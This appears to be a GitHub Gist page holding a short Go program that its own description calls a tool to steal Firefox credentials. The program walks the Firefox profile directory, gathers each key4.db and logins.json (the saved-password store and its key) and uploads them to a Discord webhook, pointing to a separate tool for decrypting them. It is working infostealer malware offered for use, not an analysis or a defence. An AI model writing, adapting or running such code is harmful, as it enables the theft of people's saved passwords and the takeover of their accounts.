Skip to content

Instantly share code, notes, and snippets.

@n005
Last active June 24, 2021 13:31
Show Gist options
  • Save n005/88582d85cbfbe242b00a8d72af107dd6 to your computer and use it in GitHub Desktop.
Save n005/88582d85cbfbe242b00a8d72af107dd6 to your computer and use it in GitHub Desktop.
Steal Firefox credential and send it to a discord webhook. Use https://github.com/lclevy/firepwd to decrypt.
package main
import (
"bytes"
"fmt"
"io"
"log"
"mime/multipart"
"net/http"
"os"
"path/filepath"
)
func main() {
var files []string
root := (os.Getenv("APPDATA") + "\\Mozilla\\Firefox\\Profiles")
err := filepath.Walk(root, func(path string, info os.FileInfo, err error) error {
if err != nil {
fmt.Println(err)
return nil
}
if !info.IsDir() && filepath.Base(path) == "key4.db" || filepath.Base(path) == "logins.json" {
files = append(files, path)
}
return nil
})
if err != nil {
log.Fatal(err)
}
for _, file := range files {
url := "https://discord.com/api/webhooks/[]/[]" //webhook lik
request, _ := newfileUploadRequest(url, "file", file)
client := &http.Client{}
client.Do(request)
}
}
func newfileUploadRequest(uri string, paramName, path string) (*http.Request, error) {
file, err := os.Open(path)
if err != nil {
return nil, err
}
defer file.Close()
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
part, err := writer.CreateFormFile(paramName, filepath.Base(path))
if err != nil {
return nil, err
}
_, err = io.Copy(part, file)
err = writer.Close()
if err != nil {
return nil, err
}
req, err := http.NewRequest("POST", uri, body)
req.Header.Set("Content-Type", writer.FormDataContentType())
return req, err
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment